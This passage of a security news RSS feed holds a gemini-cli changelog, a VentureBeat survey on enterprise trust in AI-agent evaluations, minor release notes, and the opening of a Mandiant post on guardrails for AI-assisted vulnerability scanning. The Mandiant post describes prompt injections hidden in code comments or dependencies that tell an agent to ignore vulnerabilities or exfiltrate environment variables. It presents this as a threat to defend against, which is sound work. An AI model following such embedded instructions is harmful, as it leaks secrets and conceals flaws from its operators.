<li>chore(release): bump version to 0.51.0-nightly.20260625.g3fbf93e26 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4747089380" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28151" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28151/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28151">#28151</a></li>
<li>Vertex base url update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746099458" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28145" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28145/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28145">#28145</a></li>
<li>fix(security): enforce case-insensitive sensitive path blocklist and vscode hitl by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677175748" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/27966" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/27966/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/27966">#27966</a></li>
<li>fix(core-tools): resolve defensive path resolution for at-reference files and fix macOS tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703799978" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28053" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28053/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28053">#28053</a></li>
<li>feat(caretaker): implement Cloud Run webhook ingestion service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694763384" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28015" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28015/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28015">#28015</a></li>
<li>fix(core): resolve symbolic link directory escape in memory import processor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788023907" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28233" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28233/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28233">#28233</a></li>
<li>feat(caretaker): egress cloud run service skeleton by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756075933" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28167" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28167/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28167">#28167</a></li>
<li>fix(sandbox): make ~/.gitconfig read-only in the macOS sandbox by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4779278087" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28221" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28221/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28221">#28221</a></li>
<li>fix(core): preserve escape sequences in string literals for modern models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4816231374" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28299" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28299/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28299">#28299</a></li>
<li>fix(core): strip thoughts from scrubbed history turns and resolve thought leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678608403" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/27971" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/27971/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/27971">#27971</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.50.0...v0.51.0"><tt>v0.50.0...v0.51.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.5.3]]></title>
<description><![CDATA[0.5.3 (2026-07-16)
Features

add Claude Code agent adapter (#687) (8d642d4)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)

Bug Fixes

#695: twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (#697) (e675224)
voice/#662: guard #662's response.cr...]]></description>
<link>https://tsecurity.de/de/3674078/it-security-tools/javascript-v053/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674078/it-security-tools/javascript-v053/</guid>
<pubDate>Thu, 16 Jul 2026 18:20:42 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.5.2...javascript/v0.5.3">0.5.3</a> (2026-07-16)</h2>
<h3>Features</h3>
<ul>
<li>add Claude Code agent adapter (<a href="https://github.com/langwatch/scenario/issues/687" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/687/hovercard">#687</a>) (<a href="https://github.com/langwatch/scenario/commit/8d642d441c883327de8c9abd8ab0364b2667e7a8">8d642d4</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li><strong>lint:</strong> forbid non-null assertions in library src and gate it in CI (<a href="https://github.com/langwatch/scenario/issues/751" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/751/hovercard">#751</a>) (<a href="https://github.com/langwatch/scenario/issues/755" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/755/hovercard">#755</a>) (<a href="https://github.com/langwatch/scenario/commit/c8eeb5e33fc958702ba2c9778f9645964cfcb678">c8eeb5e</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[coverity-w29-4.14.7: Merge pull request #37545 from wazuh/fix/887-hp-ux-compilation-error]]></title>
<description><![CDATA[Compilation error in HP-UX arch]]></description>
<link>https://tsecurity.de/de/3673894/it-security-tools/coverity-w29-4147-merge-pull-request-37545-from-wazuhfix887-hp-ux-compilation-error/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673894/it-security-tools/coverity-w29-4147-merge-pull-request-37545-from-wazuhfix887-hp-ux-compilation-error/</guid>
<pubDate>Thu, 16 Jul 2026 17:03:59 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Compilation error in HP-UX arch</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
